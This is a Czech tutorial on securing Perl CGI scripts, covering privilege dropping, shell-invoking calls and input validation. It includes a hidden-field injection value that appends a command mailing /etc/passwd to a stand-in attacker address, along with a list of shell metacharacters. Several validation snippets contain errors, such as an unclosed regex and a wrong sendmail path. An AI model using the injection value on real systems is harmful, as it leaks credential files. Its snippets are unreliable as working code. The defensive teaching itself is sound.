Bezpečnost a CGI scripty

Proč jsou CGI scripty problematické z hlediska bezpečnosti?

Většina nebezpečí přichází prostřednictvím vstupních dat, které autor CGI scriptu neočekává.

CGI scripty představují nebezpečí ve dvou směrech:

• Mohou pomoci úmyslně nebo neúmyslně útočníkovi získat informace o systému, na kterém běží server.
• Skripty zpracovávají vstupní data od uživatele, pomocí kterých může útočník přímo napadnout systém.

Jak se vyhnout nejčastějším chybám

Spuštění WWW serveru

WWW server implicitně běží na portu 80. Pravdou je, že pro získání portu 80 v operačním systému unix jsou potřeba privilegia root uživatele. WWW server však po nastartování již privilegia nepotřebuje a pomocí volání setuid se jich může vydát. V praxi se do konfiguračních souborů serveru možné specifikovat uživatele, pod kterým server poběží.

WWW server by měl běžet jako neprivilegovaný uživatel. Často je WWW server a tedy i CGI script spouštěn jako uživatel nobody - obecný neprivilegovaný účet. Další možností je vytvoření a využití samostatného vyhrazeného uživatele pro www server. To však neznamená, že WWW a CGI není nebezpečný pro systém.

Nebezpečné akce:

1. Poslání souboru passwd pomocí e-mailu útočníkovi.
2. Poslání struktury filesystému útočníkovi.
3. Poslání systémových informací z adresáře /etc.
4. Zapnutí login serveru na vysokém portu a připojení se telnetem.
5. Zrušení a/nebo změna logových souborů serveru.

Základní pravidlo: nikdy nedůvěřujte vstupu od uživatele.

Příklad zneužití e-mailu z WWW

<INPUT TYPE="hidden" NAME="FooAddress VALUE="adr@poc.kdesi.com">

system("/usr/lib/sendmail -t $adresat < $vstup_soubor");

Na základě příkazu system založí systém nový shell. Autor scriptu nesprávně předpokládá, že uživatel bude script aktivovat pouze z příslušného formuláře a že adresa uživatele bude vždy autorem uvedná adresa. Útočník si však může zkopírovat formulář na svůj počítač, kde ho opravý a výsledek může vypadat např. takto.

<INPUT TYPE="hidden" NAME="FooAddress
VALUE="adr@poc.kdesi.com;mail cracker@tady.com </etc/passwd">

V perlu nejen příkaz systém, ale i další příkazy zakládají nový shell /bin/sh k provedení příkazu.

• Otevření PIPE: open(OUT, "|program $arg");
• Zpětná lomítka: `program $arg`;
• Exec: exec("program $arg");

Do problémů vás může přivést také příkaz eval nebo regulární výraz s přepínačem /e.

Jak tedy správně postupovat?

Předávání hodnot prostřednictvím hidden pole formuláže není vůbec bezpečné. Obsah hidden pole je viditelný ve zdrojovém tvaru html stránky. Každý uživatel tedy může jejich hodnoty změnit např. po lokálním uložení dané stránky a poslat vám do scriptu zcela jiné hodnoty.

2. Vyhněte se spuštění shellu.

Pokud je to možné vyhněte se spuštění shellu. Pokaždé není možné se vyhnout volání příkazu eval(), exec(), system(), popen(). V některých případech však je možné obejít předávání vstupních informací od uživatele přímo do shellu. K poslání mailu můžete použít program sendmail, který má volbu -t. spuštění sendmailu s volbou -t zajistíte ignorování adresy zadané na příkazovém řádku a použití hlavičky To:. Vždy by se mělo zkusit najít cestu, jak se vyhnout spuštění shellu.

open(MAIL, "|usr/lib/sendmail -t");
print MAIL "To: $adresat\n";

Příkazy system() a exec() v perlu je možné použít bez spuštění shellu tak, že zadáme více než jeden parametr:

system('/usr/hry/fortune', '-o');
 

open(FH, '|-') || exec("program", $arg1, $arg2);

V případě že není možné se shellu vyhnout, pak je potřeba prohledat vstupní data od uživatele a odstranit z nich znaky, které mají v shelu speciální význam.

3. Vyhněte se nebezpečným vstupním datům.

Mezi tyto nebezpečné znaky patří: ;<>*|`&$!#()[]{}:'"\?~^\n\r Všimněte si že obsahují i konec řádky a návrat vozíku.

V podstatě je možné obecně použít dvě strategie při kontrole vstupních dat:

1. "Co není eplicitně povoleno je zakázáno"
2. "Co není explicitně zakázáno je povoleno".

Kontrola, zda jsou data bezpečná:

Př.: Kontrola, zda je e-mail adresa adresáta platnou adresou.

unless($adresat =~ /^[\w@\.\-]+$ {
    # potencialni utocnik
    exit(1)
}

Př.:

if($to =~ tr/;<>*|`&$!#()[]{}:'"//) {
    # Vyskytuje se nebezpecny znak
    exit(1);
  }

Př.:

sub esc_chars {
  # zameni napr. a!!a za a\!\!a
     @_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\{\}:'"])/\\$1/g;
     return @_;
  } 

Kontrola cesty k souboru

open(MAN, "/usr/man/man1/$soub.1");

Použití proměnné prostředí PATH

system("ls -l /local/web/foo");

system("/bin/ls -l /local/web/foo");